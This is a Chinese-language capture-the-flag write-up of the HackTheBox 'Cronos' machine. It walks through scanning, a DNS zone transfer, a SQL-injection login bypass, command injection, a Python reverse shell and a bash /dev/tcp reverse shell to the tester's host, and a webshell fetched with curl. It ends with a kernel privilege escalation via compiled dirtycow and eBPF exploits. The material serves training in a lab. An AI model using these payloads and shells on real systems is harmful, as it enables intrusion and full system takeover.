当前位置:   article > 正文

HackTheBox - Cronos Write Up_hackthebox live machines cronos

hackthebox live machines cronos

OS:Linux
DIFFICULTY:Medium

0x01 信息收集

使用naabu扫描目标1000个常用端口,并使用nmap对扫描出的端口进行指纹识别

naabu -host 10.10.10.13 -tp 1000 -nmap-cli 'nmap -sV'
  • 1
                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/

                projectdiscovery.io

[INF] Running host discovery scan
[INF] Running SYN scan with CAP_NET_RAW privileges
[INF] Found 3 ports on host 10.10.10.13 (10.10.10.13)
10.10.10.13:80
10.10.10.13:22
10.10.10.13:53
[INF] Running nmap command: nmap -sV -p 22,53,80 10.10.10.13
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-03 11:00 CST
Nmap scan report for 10.10.10.13
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.14 seconds
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

查询服务和版本中存在的相关漏洞,没有发现可以直接拿权限的漏洞

searchsploit xxx
  • 1

绑定hosts,准备从web入手

echo '10.10.10.13 cronos.htb' >> /etc/hosts
  • 1

访问web页面,页面上的五个链接均是外链

http://cronos.htb/
  • 1

尝试访问GITHUB中的项目,得到以下信息:

Laravel 是一款具有表达性、优雅语法的 Web 应用程序框架

https://github.com/laravel/laravel

判断该web应用框架可能存在某些历史漏洞,在expdb中进行搜索果然发现了多个历史漏洞

https://www.exploit-db.com/
  • 1

0x02 漏洞利用

我们优先尝试反序列化或者RCE漏洞

1.尝试利用Laravel 8.4.2 debug mode - Remote code execution漏洞,将exp脚本下载到本地

https://www.exploit-db.com/download/49424
  • 1

执行后好像是卡住了,没有利用成功

python3 49424.py http://cronos.htb /var/www/html/laravel/storage/logs/laravel.log 'id'
  • 1

2.尝试PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)漏洞

由于expdb中提供的exp为msf格式的,所以我们暂时先不用这种利用方式

根据漏洞详情中提供的CVE编号,在github中进行搜索,发现多个漏洞利用的项目,我们可以使用以下脚本进行漏洞利用

https://github.com/pwnedshell/Larascript

下载到本地后,运行时发现好像需要指定APPKEY,然后去搜了下如何获取这个值,得知在Laravel中,APP_KEY通常位于应用程序的.env文件中,而这个获得这个文件内容需要搭配CVE-2017-16894 .env information leak来获取

使用CVE-2017-16894没有利用成功,这个反序列化漏洞暂时先放一放

3.再试下Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection,仍然也是不存在

4.继续试Laravel Log Viewer < 0.13.0 - Local File Download - CVE-2018-8947

Proof of Concept:

import os
import base64
from urllib.request import urlopen
from urllib.error import URLError, HTTPError
import argparse

parser = argparse.ArgumentParser(description='_0_ Laravel 0Day _0_')
parser.add_argument("-u", action="store", dest="url", help="Target URL", required=True)
parser.add_argument("-f", action="store", dest="file", help="Target File", required=True)

args = parser.parse_args()
url = str(args.url).strip() + "/logs/?dl="
final_file = args.file

if not os.path.exists("./0Grats0"):
    os.makedirs("./0Grats0")

word = str(args.file).split('/')
word1 = "./0Grats0/" + word[-1]
finalee = url + base64.b64encode(final_file.encode()).decode()

try:
    with urlopen(finalee) as f:
        with open(word1, "wb") as local_file:
            local_file.write(f.read())

except HTTPError as e:
    print("HTTP Error:", e.code, finalee)

except URLError as e:
    print("URL Error:", e.reason, finalee)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

运行exp脚本后仍然不存在漏洞


难道要爆破SSH账号密码吗?

后面我使用SSH Username Enumeration枚举了一下用户名,然后又用hydra爆破了一下密码,均无果


web和ssh都没有什么进展,那就还剩了个53端口DNS服务没有深入利用过

1.执行nslookup

nslookup
  • 1
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 10.10.10.13
;; communications error to 10.10.10.13#53: timed out
13.10.10.10.in-addr.arpa        name = ns1.cronos.htb.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • server 10.10.10.13 - 这个命令将nslookup的默认DNS服务器设置为10.10.10.13。这意味着当您输入要查找的主机名或IP地址时,nslookup将查询此DNS服务器以获取相应的解析结果。
  • Default server: 10.10.10.13 - 这个消息表示默认的DNS服务器已被成功设置为10.10.10.13
  • Address: 10.10.10.13#53 - 这个消息显示了nslookup正在使用的DNS服务器的IP地址和端口号。在这个例子中,DNS服务器的IP地址是10.10.10.13,端口号是53
  • 10.10.10.13 - 这个命令将IP地址设置为10.10.10.13,并试图将其解析为主机名。但由于无法与DNS服务器进行通信,所以无法获取解析结果。
  • 13.10.10.10.in-addr.arpa name = ns1.cronos.htb. - 这个命令将反向解析为13.10.10.10.in-addr.arpa的IP地址,找到了与其相关联的主机名,即ns1.cronos.htb

2.尝试进行DNS域传送漏洞,以获取更多的子域名

dig axfr cronos.htb @10.10.10.13
  • 1

发现确实存在DNS域传送漏洞,并且存在admin.cronos.htb这个域名

接下来将新发现的域名也追加配置到hosts文件中

访问后发现是一个登录页面

http://admin.cronos.htb/
  • 1

接下来尝试进行弱口令爆破,没有爆破成功

接下来尝试对登录接口进行SQL注入,发现存在SQL注入漏洞,而且登录处还可以直接用万能密码登录

admin'+and+'1'='1 # 回显登录页面
admin'+and+'1'='2 # 回显登录页面
admin'+and+'1'='1'+--+ # 页面跳转至 welcome.php
admin'+and+'1'='2'+--+ # 回显登录页面
admin'+or+'1'='1 # 页面跳转至 welcome.php

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

跟随页面跳转至/welcome.php,直接就登录进系统了

看到这里,不禁让我想起来某某靶场的命令注入漏洞

直接使用burp尝试进行命令注入,注入成功

command=traceroute&host=8.8.8.8|whoami
  • 1

接下来我们先把shell反弹回来

command=traceroute&host=8.8.8.8|python -h
  • 1

目标机器有python环境,那我们就使用python来反弹shell

开启nc监听后执行以下命令反弹shell

nc -nvlp 65001

command=traceroute&host=8.8.8.8|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",65001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

  • 1
  • 2
  • 3
  • 4

接下来我们先拿到user的flag

find / -name "user.txt"
cat /home/noulis/user.txt

flag:
c8a447853d3cd705a246e1e90258a9d4

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

0x03 权限提升

尝试执行sudo -l发现需要输入密码

尝试进行suid提权,发现没有可以用的命令

find / -perm -u=s -type f
  • 1

反弹的这个shell不太稳定,如果退出shell后,需要重启靶场才能再次反弹,所以这里我在网站根目录写入哥斯拉马方便后续使用

1.生成webshell

2.使用python开启http服务

python3 -m http.server 1111
  • 1

3.在目标机器上下载webshell

curl http://10.10.14.18:1111/shell.php -O shell.php

  • 1
  • 2

4.使用哥斯拉客户端进行连接

5.在/tmp目录下创建revShell.sh,内容如下,后续反弹shell如何掉线了,可以执行这个脚本再次反弹shell出去

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.18/65001 0>&1
  • 1
  • 2

接下来上传linux-exploit-suggester.sh到/tmp目录,通过该脚本获得提权方法

使用哥斯拉执行该脚本好像出现了乱码,这里我们还是用反弹的shell来执行这个sh

chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
  • 1
  • 2

Available information:

Kernel version: 4.4.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 16.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

81 kernel space exploits
49 user space exploits

Possible Exploits:

cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2017-16995] eBPF_verifier

   Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
   Exposure: highly probable
   Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}
   Download URL: https://www.exploit-db.com/download/45010
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]                                                                                                                                
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},[ ubuntu=16.04 ]{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

1.使用dirtycow脏牛提权CVE-2016-5195

由于靶机没有gcc编译环境,我们在本地编译完成后直接上传到靶机中

# 首先需要查询目标机器的glibc的版本,得知版本为2.23
ldd --version
  • 1
  • 2

# 运行使用同版本的glibc的ubuntu系统
docker run -it ubuntu:16.04 bash

# 安装编译所需的工具和库
apt-get update && apt-get install -y gcc g++ make git

# 编译
wget https://www.exploit-db.com/download/40616
gcc 40616.c -o cowroot -pthread

# 将docker中编译好的文件复制到本地
docker cp bdf4afecd08b:/tmp/cowroot cowroot

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

使用哥斯拉客户端的文件管理功能,将编译好的文件上传至靶机/tmp目录

运行后发现提权失败

2.使用eBPF(CVE-2017-16995)进行内核提权

# 同样的 也是在ubuntu的docker镜像中完成编译
wget https://www.exploit-db.com/download/45010 -O 45010.c

# 编译
gcc 45010.c -o eBPF

# 将docker中编译好的文件复制到本地
docker cp bdf4afecd08b:/tmp/eBPF eBPF
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

使用哥斯拉客户端的文件管理功能,将编译好的文件上传至靶机/tmp目录

运行提权工具成功提权!!!

chmod +x eBPF
./eBPF

# 获取root的flag
cat /root/root.txt
flag:
02abba1d22957b51dd04deaead83aeb7

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/462822
推荐阅读
相关标签
  

闽ICP备14008679号